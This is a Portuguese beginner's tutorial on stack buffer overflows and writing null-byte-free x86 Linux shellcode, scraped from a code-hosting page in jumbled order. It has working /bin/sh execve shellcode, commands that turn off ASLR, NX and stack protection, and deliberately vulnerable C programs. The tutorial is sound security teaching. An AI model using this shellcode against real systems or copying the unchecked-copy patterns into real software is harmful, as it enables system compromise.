que este ser nosso ambiente. Para executarmos uma determinada syscall, basta mover o nmero da syscall desejada, no caso 'exit', para o registrador eax e os demais argumentos para os registradores ebx, ecx, edx, esi, edi, respectivamente e chamar a interrupo de kernel 'int 0x80', que o kernel far o resto. Para descobrirmos o nmero das syscalls simples, basta olharmos o unistd.h, aqui estava presente em '/usr/include/asm/unistd_32.h. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~$ grep exit /usr/include/asm/unistd_32.h #define __NR_exit 1 #define __NR_exit_group 252 m0nad@m0nad-notebook:~$ -----------------------------------------------------------------------------------Podemos ver que o nmero da syscall 'exit' '1', ento para criarmos um cdigo em assembly, com um cdigo equivalente a um 'exit(0);', precisamos colocar o valor '1' em eax, e o valor '0', em '%ebx', e depois chamar o kernel. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ cat asm_exit_linux32.s .data .text .global _start _start: mov $0x1, %eax

#syscall exit

mov $0x0, %ebx #exit (0); int $0x80 #chama o kernel -----------------------------------------------------------------------------------Pronto, agora vamos mont-lo e linka-lo -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ as asm_exit_linux32.s -o asm_exit_linux32.o m0nad@m0nad-notebook:~/Assembly$ ld asm_exit_linux32.o -o asm_exit_linux32 -----------------------------------------------------------------------------------Ao execut-lo, nada acontecer, pois ele somente ira executar um exit, e ir sair de sua execuo, por isso, executaremos com strace. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ strace ./asm_exit_linux32 execve("./asm_exit_linux32", ["./asm_exit_linux32"], [/* 39 vars */]) = 0 _exit(0) =? m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Sucesso! Podemos ver que nossa syscall 'exit(0);' foi chamada, vamos agora descobrir os opcodes utilizados, ou seja, os valores das instrues de mquina. 6.2) 'exit(0);' em shellcode Basta usarmos o 'objdump' para vermos os opcodes... -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_exit_linux32 asm_exit_linux32: file format elf32-i386

Disassembly of section .text: 08048054 <_start>: 8048054: b8 01 00 00 00 8048059: bb 00 00 00 00 804805e: cd 80

mov $0x1,%eax mov $0x0,%ebx int $0x80

m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Os opcodes, so os nmeros em hexa no centro, entre os endereos e as instrues em assembly. Basta colocar os valores hexa numa string, e assim teremos o nosso shellcode. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ cat sc_exit_linux32.c const char sc[] = "\xb8\x01\x00\x00\x00" // mov $0x1,%eax

"\xbb\x00\x00\x00\x00" // mov "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; }

$0x0,%ebx

-----------------------------------------------------------------------------------Compilando... -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_exit_linux32 sc_exit_linux32.c m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Vamos agora executar com strace, para ver se tudo ocorre como o esperado. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ strace ./sc_exit_linux32 execve("./sc_exit_linux32", ["./sc_exit_linux32"], [/* 39 vars */]) = 0 brk(0) = 0x8fae000 uname({sys="Linux", node="m0nad-notebook", ...}) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7825000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) =3 fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0 mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7813000 close(3) =0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) =3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0 mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x454000 mmap2(0x5ab000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0x5ab000 mmap2(0x5ae000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5ae000 close(3) =0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7812000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x5ab000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x7a6000, 4096, PROT_READ) = 0 munmap(0xb7813000, 71040) =0 _exit(0) =? m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------

Vemos que nossa syscall 'exit(0);' foi executada com sucesso! E dessa vez em forma de shellcode. Mas temos um problema, os nullbytes, esses valores '\x00' no shellcode, isto devido ao simples fato de que, na maioria das falhas de buffer overflows, os dados a serem colocados na memria, so geralmente strings, e a linguagem C, utiliza o nullbyte como trmino da string, no caso de uma funo como 'strcpy', o shellcode no seria copiado inteiramente para o buffer, fazendo com que nosso shellcode no seja executado por completo, o que resultaria em resultados indesejveis, ento precisamos criar um shellcode sem os benditos nullbytes. 6.3) 'exit(0);' em assembly nullbyte-free Vamos tentar criar um exit sem os nullbytes, vejamos o exemplo: -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_exit_linux32.s .data .text .global _start _start: xor %eax, %eax #zera %eax xor %ebx, %ebx #zera %ebx inc %eax #eax igual a 1 int $0x80 #chama o kernel m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Montando e linkando... -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_exit_linux32.o asm_nbf_exit_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_exit_linux32 asm_nbf_exit_linux32.o -----------------------------------------------------------------------------------Executando! -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_exit_linux32 m0nad@m0nad-notebook:~/Assembly$ strace ./asm_nbf_exit_linux32 execve("./asm_nbf_exit_linux32", ["./asm_nbf_exit_linux32"], [/* 39 vars */]) = 0 _exit(0) =? m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Perfeito! Nossa syscall foi chamada, e tudo parece ocorrer bem. Vamos ver se realmente no possui null bytes. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_exit_linux32 asm_nbf_exit_linux32: file format elf32-i386

Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 31 db xor %ebx,%ebx 8048058: 40 inc %eax 8048059: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Vejam que agora os nullbytes sumiram! Para isso, evitamos mover valores para os registradores, o ideal zerar o registrador com 'xor', onde qualquer valor 'xor' ele mesmo igual a zero, e depois mover para as partes 'baixas' do registrador, como '%al', mas nesse caso, utilizei a instruo 'inc' para incrementar o 'eax', que tambm no gera nullbytes. 6.4) 'exit(0);' em shellcode nullbyte-free Mais uma vez, basta pegarmos os opcodes do output do objdump, e colocarmos num vetor de char. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/projects/ASM/Assembly$ cat sc_nbf_exit_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } m0nad@m0nad-notebook:~/projects/ASM/Assembly$ -----------------------------------------------------------------------------------Compilando...e executando! -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/projects/ASM/Assembly$ gcc -o sc_nbf_exit_linux32 sc_nbf_exit_linux32.c m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ./sc_nbf_exit_linux32 m0nad@m0nad-notebook:~/projects/ASM/Assembly$ strace ./sc_nbf_exit_linux32 execve("./sc_nbf_exit_linux32", ["./sc_nbf_exit_linux32"], [/* 39 vars */]) = 0 brk(0) = 0x881b000 uname({sys="Linux", node="m0nad-notebook", ...}) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c9000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) =3 fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0 mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000 close(3) =0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

open("/lib/libc.so.6", O_RDONLY) =3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0 mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd07000 mmap2(0xe5e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xe5e000 mmap2(0xe61000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xe61000 close(3) =0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xe5e000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x154000, 4096, PROT_READ) = 0 munmap(0xb78b7000, 71040) =0 _exit(0) =? m0nad@m0nad-notebook:~/projects/ASM/Assembly$ -----------------------------------------------------------------------------------Vimos que funciona perfeitamente, j sabemos escrever shellcodes nullbyte-free, ou seja, livre de bytes nulos. 6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free Vamos passar agora para um exemplo um pouco mais complexo, vamos escrever um 'Alo Mundo' em assembly, e nullbyte-free, para isso vamos utilizar as tcnicas vistas anteriormente, o maior problema que teremos que enfrentar sera copiar o endereo da string para '%ecx', para isso h diversas tcnicas, no artigo do AlephOne[1], ele utiliza a instruo 'call' com a string logo em seguida, pois a instruo 'call' salva o endereo da prxima instruo na pilha, ento bastaria dar um 'pop %ecx', para assim capturarmos o endereo, mas ns utilizaremos outra tcnica, de dar 'push' na string, e depois copiar o endereo do '%esp' para o '%ecx', para isso basta colocar a string de traz para frente, j que a pilha um LIFO (Last in, First Out) ou seja, o ltimo que entra o primeiro que sai, e com seus valores ascii em hexadecimal, j que vamos passar como simples nmeros para a pilha. Vamos descobrir os valores em hexa de traz para frente. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ echo -n Alo Mundo | perl -ne 'printf "%x", unpack "C*" foreach (reverse split //) ';echo 6f646e754d206f6c41 m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Pronto, j temos os valores em hexa da string 'Alo Mundo' de traz para frente. Vamos construir o shellcode para printar o 'Alo Mundo', colocando novamente o nmero da syscall em '%eax', neste caso 'write', stdout para '%ebx', endereo da string para '%ecx', e o tamanho da string para '%edx', para evitarmos os nullbytes vamos zerar os registradores com 'xor' e mover os valores para as partes baixas dos registradores. ------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_write_alomundo_linux32.s .text .globl _start _start: xor %eax, %eax #zera %eax mov $0x4, %al #move 4(write) para a %al xor %ebx, %ebx #zera %ebx push %ebx #poe o nullbyte na pilha inc %ebx #stdout em %ebx push $0x6f #coloca a string na pilha push $0x646e754d # push $0x206f6c41 # mov %esp, %ecx #ponteiro da string para %ecx xor %edx, %edx #zera %edx mov $0xa, %dl #tamanho da string para %dl int $0x80 #chama o kernel xor %eax, %eax #exit(0); xor %ebx, %ebx # inc %eax # int $0x80 # m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_write_alomundo_linux32.o asm_nbf_write_alomundo_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32.o m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_write_alomundo_linux32 ;echo Alo Mundo m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Perfeito, funciona, vamos verificar se realmente no possui nullbytes. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32: file format elf32-i386

Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 8048056: b0 04 8048058: 31 db 804805a: 53 804805b: 43 804805c: 6a 6f 804805e: 68 4d 75 6e 64 8048063: 68 41 6c 6f 20 8048068: 89 e1 804806a: 31 d2 804806c: b2 0a 804806e: cd 80 8048070: 31 c0 8048072: 31 db 8048074: 40 8048075: cd 80

xor %eax,%eax mov $0x4,%al xor %ebx,%ebx push %ebx inc %ebx push $0x6f push $0x646e754d push $0x206f6c41 mov %esp,%ecx xor %edx,%edx mov $0xa,%dl int $0x80 xor %eax,%eax xor %ebx,%ebx inc %eax int $0x80

m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Legal! Esta livre de bytes nulos! Vamos ao shellcode. 6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free Vamos ao shellcode, basta escrevermos o shellcode utilizando estes opcodes. -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_write_alomundo_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\x31\xdb" // xor %ebx,%ebx "\x53" // push %ebx "\x43" // inc %ebx "\x6a\x6f" // push $0x6f "\x68\x4d\x75\x6e\x64" // push $0x646e754d "\x68\x41\x6c\x6f\x20" // push $0x206f6c41 "\x89\xe1" // mov %esp,%ecx "\x31\xd2" // xor %edx,%edx "\xb2\x0a" // mov $0xa,%dl "\xcd\x80" // int $0x80 "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_write_alomundo_linux32 sc_nbf_write_alomundo_linux32.c m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_write_alomundo_linux32 ;echo Alo Mundo m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Sucesso! funciona perfeitamente, um shellcode 'Alo Mundo' nullbyte-free, estamos perto do nosso objetivo, ou seja, escrever o shellcode que obtem uma shell! 6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free Bem vamos ver ento, o sexto exemplo, o assembly que ir nos dar a shell, para isso basta colocarmos o valor da syscall 'execve' em '%eax' e o endereo da string '/bin/sh' em '%ebx', o resto semelhante ao shellcode anterior, s uma coisa, a string ter que ser '/bin//sh', usamos uma '/' a mais como um 'padding', para evitarmos os bytes nulos, novamente de traz para frente.

------------------------------------------------------------------------------------

m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_execve_sh_linux32.s .data .text .global _start _start: xor %eax, %eax push %eax push $0x68732F2F push $0x6E69622F mov $0xb, %al mov %esp, %ebx xor %ecx, %ecx xor %edx, %edx int $0x80 xor %eax, %eax xor %ebx, %ebx inc %eax int $0x80

#zera %eax #coloca nullbyte na pilha #coloca string /bin//sh na pilha # #syscall execve para %al #ponteiro da string para %ebx #zera %ecx #zera %edx #chama o kernel #exit(0); # # #

-----------------------------------------------------------------------------------Montando, linkando e executando... -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_execve_sh_linux32.o asm_nbf_execve_sh_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32.o m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_execve_sh_linux32 $ exit m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Sucesso! Vamos verificar se no h bytes nulos, para pegarmos os opcodes. 6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free Agora o objetivo de tudo, o shellcode que ir nos dar shell! -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32: file format elf32-i386

Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 8048056: 50 8048057: 68 2f 2f 73 68 804805c: 68 2f 62 69 6e 8048061: b0 0b 8048063: 89 e3 8048065: 31 c9 8048067: 31 d2

xor push push push mov mov xor xor

%eax,%eax %eax $0x68732f2f $0x6e69622f $0xb,%al %esp,%ebx %ecx,%ecx %edx,%edx

8048069: cd 80 int $0x80 804806b: 31 c0 xor %eax,%eax 804806d: 31 db xor %ebx,%ebx 804806f: 40 inc %eax 8048070: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_execve_sh_exit_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\xb0\x0b" // mov $0xb,%al "\x89\xe3" // mov %esp,%ebx "\x31\xc9" // xor %ecx,%ecx "\x31\xd2" // xor %edx,%edx "\xcd\x80" // int $0x80 "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } -----------------------------------------------------------------------------------Compilando e executando... -----------------------------------------------------------------------------------m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_execve_sh_exit_linux32 sc_nbf_execve_sh_exit_linux32.c m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_execve_sh_exit_linux32 $ exit m0nad@m0nad-notebook:~/Assembly$ -----------------------------------------------------------------------------------Sucesso! Um shellcode funcional nullbyte-free, que executa a nossa shell! 7) Perguntas? m0nad /at/ email.com 8) Referncias [1] Smash the Stack for Fun and Profit - AlephOne

AAAAA ?AAAAAA? AAAAAN AAAAAAAAA AAA A+ AAAAAAAAAA A. A? AAAAAAAAAAA

AA AAAAAAAAAAA AA + AAAAAAAAAAA A AAAAAAA AAAAAAAAAAA NA AAAAAAAAAA. AAAAAAAAAAAA A AAAAAAAAAAAAAAA AAAAAAAAAAA A AAAAAAAAAAAAAAAA AAAAAAAAAA N AAAAAAAAAAAAAAAAA AAAAAAAA A AA AAAAAAAAAAAAAAAAAAA AAAAAA A A AA AAAAAAAAAAAAAAAAAAAAAAAAAA+ . . AAA AAAAAAAAAAAAAAAAAAAAAAAAAA A A AA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA A A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + A AAAAAAA ?AAAAAAAAAAAAAAAAAAAAAAAA A + AA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAA A AA.AAAA.+AAAAAAAAAAAAAAAAAAAAAAAA A . AAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAA. A A +.++ AA+ A+AAAAAAAAAAAAAAAAAAAAAA ? A A A. A+ AAAA.AAAAAAAAAAAAAAAN A .A ? AAA AAAA AAAAAAAAAA A A A+ AAA AAAI +AAAAAAAAN . + AAA AAA AAAAAAAA A N AA? AAA AAAAAA. A AAA AAA AAAAAAA . A .A. AA AA AAA . . AA AA AAA.AAA .. A AA?AA AA. AAA A N. AAAAA AA AA ?+ A AA.AAA AA AA .. AAAAAAAAAA . AA AA .A AAAN+AAA +AAAA AA . .AAAAAA AAAA. AAAA . A+

Papers / buffer_overflow_iniciantes.txt m0nad 3 months ago review in progress... 1 contributor 100644 604 lines (450 sloc) 23.734 kb
1

2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6 1 7 1 8 1 9 2 0 2 1 2 2 2 3 2 4 2 5 2 6 2 7 2 8 2 9 3 0 3 1 3 2 3 3 3 4 3 5

o /\ / \ 1 T l _|GDB |_ O (^ '----' `) `\-....-/^ 1 1 ) 0/ 0 ( _( (..) )_ O /\ ( <> ) /\ / \( ) / \ 1 o \) ( / \ / ( ) \ / 1 \( \ __.--' O .._ \ //|)\ , /(((\^)'\ | |O ) ` | | / 1___ / / / _.-''^^__O_^^''-._ / .' / -''^^ ^^''- \--'^ .' .`. `'''----'''^ .`. \ .' / `'--..____..--'^ \ \ / _.-/ \/ \\ .::'_/^ | GCC \\ ______| `. .-'| \ 0x90 | `-. //////// _.--'` \ \ BOF / `-. | | / x00/* \ \ / `-._ ______| 0 > | `'---..__ `. \._.._ _________________ \/\/\/\ \ ~~~ ``'''`. .'\ x90/x90/x90/x32/x01/x0a/x90/x90 | |----\ / `-..______..-' \_________________________ |\/\/\/\/ ______| \_______// | Kernel | __________ _____ _____ \______ \__ ___/ ____\/ ____\___________ | | _/ | \ __\\ __\/ __ \_ __ \ | | \ | /| | | | \ ___/| | \/ |______ /____/ |__| |__| \___ >__| \/ \/ ________ _____.__ \_____ \___ __ ____________/ ____\ | ______ _ ________ / | \ \/ // __ \_ __ \ __\| | / _ \ \/ \/ / ___/ / | \ /\ ___/| | \/| | | |_( <_> ) /\___ \ \_______ /\_/ \___ >__| |__| |____/\____/ \/\_//____ > \/ \/ \/ Para Iniciantes ================ 1

Buffer Overflows para Iniciantes --------------------------------aka BOF for dummies por m0nad ----------------------------- Apresentao - O que um Buffer Overflow? - Ambiente - O binrio e processo ELF - Desabilitando Protees - Identificando a vulnerabilidade - Mtodos de Explorao

3 6 3 7 3 8 3 9 4 0 4 1 4 2 4 3 4 4 4 5 4 6 4 7 4 8 4 9 5 0 5 1 5 2 5 3 5 4 5 5 5 6 5 7 5 8 5 9 6 0 6 1 6 2 6 3 6 4 6 5

Podemos sobrescrever outras variveis da pilha Podemos tambm, sobrescrever por exemplo, um ponteiro. Tomar o controle de fluxo da aplicao! - Concluso - Agradecimentos - Apresentao Eu me chamo Victor Ramos Mello aka m0nad, tenho um github (https://github.com/m0nad) e meu email m0nad /at/ email.com. Estou aqui para demonstrar o funcionamento de buffer overflows, esta tcnica muito falada, mas pouco entendida, teremos aqui uma introduo ao tema. - O que um Buffer Overflow? Buffer overflow, traduzindo, seria transbordamento de memria, acontece quando se coloca mais dados do que a capacidade de um buffer. Isso acontece, pois o programador, no verifica a quantidade de dados que iro ser colocados dentro de uma determinada rea de memria, este excesso de dados, pode levar ao corrompimento de outras reas de memria adjacentes, levando ao programa a comportamentos inesperados, ou mesmo o travamento do programa. Um atacante pode se utilizar disso para travar a aplicao propositalmente ou mesmo tomar o controle do fluxo do programa, possibilitando ganhar privilgios no sistema, no caso de uma aplicao remota, a possibilidade de se ganhar acesso ao sistema. - Ambiente O ambiente que mexeremos sera o GNU/Linux de 32 bits, no meu caso um Ubuntu, mas a tcnica independente de sistema, a verso do kernel e das ferramentas utilizadas segue abaixo: ------------------------------------m0nad@m0nad-notebook:~$ cat /etc/issue.net Ubuntu 11.04 m0nad@m0nad-notebook:~$ uname -r 2.6.38-13-generic m0nad@m0nad-notebook:~$ gdb --version GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2 Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$ ------------------------------------- O binrio e processo ELF

6 6 6 7 6 8 6 9 7 0 7 1 7 2 7 3 7 4 7 5 7 6 7 7 7 8 7 9 8 0 8 1 8 2 8 3 8 4 8 5 8 6 8 7 8 8 8 9 9 0 9 1 9 2 9 3 9 4 9 5

J que estamos num ambiente GNU/Linux, temos que saber um pouco sobre o binrio ELF - Executable Linked Format - para entendermos como um processo fica organizado na memria, vamos a ver: ------------------------------------0xffffffff 0xc0000000 Endereos Altos : : |---------------| | stack | |---------------| <- esp | | | | V | | | |---------------| | shared libs | |---------------| | | | A | | | | |---------------| <- brk | heap | |---------------| | .bss, .data | |---------------| | .init, .text, | | .rodata | |---------------| Enedereos Baixos : :

0x40000000

0x08048000 0x00000000

------------------------------------Podemos ver como o processo fica organizado, importante entender que a pilha(stack) cresce decrementando o registrador 'esp' - Extended Stack Pointer - ou seja, o ponteiro da pilha, que aponta sempre para o topo da mesma, a pilha cresce decrementando o 'esp', a heap cresce usando malloc(e similares) por meio da chamada de sistema(system call) 'brk' ou 'sbrk' para ajustar o seu tamanho, abaixo temos as areas 'bss' e 'data', que ficam variveis globais e inicializadas, e mais abaixo fica o 'code segment', que contem as instrues executveis.

- Desabilitando Protees Com o advento das tcnicas de explorao deste tipo de vulnerabilidade, protees foram desenvolvidas, para que mesmo quando o programa for de fato vulnervel, o sistema no possa ser comprometido, algumas dessas protees esto vindo por default em distros como Ubuntu e Fedora por exemplo, no caso, fiz todos os testes em Ubuntu 10.10 e para este, tive que desabilitar algumas protees, como: Adress Space Layout Randomization, chamado simplesmente de ASLR, este tipo de proteo, deixa reas de memria, (como stack, heap, libc) com endereos 'aleatrios', dificultando a explorao de vulnerabilidades desse tipo. Para desabilitar o ASLR, basta digitar, como root: ------------------------------------# echo 0 > /proc/sys/kernel/randomize_va_space

9 6 9 7 9 8 9 9 1 0 0 1 0 1 1 0 2 1 0 3 1 0 4 1 0 5 1 0 6 1 0 7 1 0 8 1 0 9 1 1 0 1 1 1 1 1 2 1 1 3 1 1 4 1 1 5 1 1 6 1

------------------------------------Outra proteo NX bit - Non eXecute bit - que impede a execuo de cdigo em areas que temos permisso de escrita, este tipo de proteo impede a explorao com o uso de shellcodes, para desabitar este tipo de proteo basta usar a opo do gcc '-z execstack'. ex: ------------------------------------$ gcc -o vuln vuln.c -z execstack ------------------------------------Outro tipo de sistema de proteo, o Smash The Stack Protection tambm conhecido como ProPolice, este tipo de proteo funciona colocando-se um 'cookie', ou seja um valor, no topo do buffers, e caso este valor seja alterado, devido a um transbordamento, uma funo ira verificar o valor do cookie, caso esteja diferente, o programa finalizado. Para desabilitar o SSP(smash the stack protection aka propolice), quando for compilar seu cdigo vulnervel, basta acrescentar o argumento '-fno-stack-protector' no momento de compilar o seu cdigo. ex: ------------------------------------$ gcc vuln.c -o vuln -fno-stack-protector -------------------------------------

- Identificando a vulnerabilidade Como mencionei acima, a falha acontece quando o programador no verifica a quantidade de dados que sero colocados em um determinado buffer. Quando os dados que sero copiados para dentro de um buffer, forem de origem do 'imput' do usurio, um atacante poder se aproveitar disso. Um exemplo disso seria a funo gets(), que no verifica quantos bytes sero colocados dento de um determinado buffer. Exemplo: ------------------------------------m0nad@m0nad-desktop:~$ cat bo_gets.c #include <stdio.h> #include <string.h> int main() { char buffer[4]; gets(buffer); return 0; } m0nad@m0nad-desktop:~$ gcc -o bo_gets bo_gets.c -fno-stack-protector

1 7 1 1 8 1 1 9 1 2 0 1 2 1 1 2 2 1 2 3 1 2 4 1 2 5 1 2 6 1 2 7 1 2 8 1 2 9 1 3 0 1 3 1 1 3 2 1 3 3 1 3 4 1 3 5 1 3 6 1

/tmp/ccFfap5X.o: In function `main': bo_gets.c:(.text+0x11): warning: the `gets' function is dangerous and should not be used. m0nad@m0nad-desktop:~$ ./bo_gets AAAAAAAAAAAAAAAAAA Falha de segmentao m0nad@m0nad-desktop:~$ ------------------------------------Vimos que a aplicao 'crasha' ao se colocar um pouco mais do que 4 bytes, que seria o limite do buffer, o porque isso acontece sera explicado mais a frente, vamos ver agora como tirar proveito disso. - Mtodos de Explorao Podemos sobrescrever outras variveis da pilha. Por exemplo, sobrescrever uma varivel, que no caso verifica se o usurio admin e assim possivelmente ganhar privilgios. ------------------------------------m0nad@m0nad-desktop:~$ cat bo_admin.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char ** argv) { int admin = 0; char user[16]; if (argc > 1) { strcpy(user, argv[1]);// aqui o overflow! printf("Bem vindo %s\n", user); }else { printf("./bo_admin usuario\n"); } if (admin) { puts("HACKED!\nVoce eh admin"); } return 0; } m0nad@m0nad-desktop:~$ gcc -o bo_admin bo_admin.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_admin m0nad Bem vindo m0nad m0nad@m0nad-desktop:~$ ------------------------------------Bem, 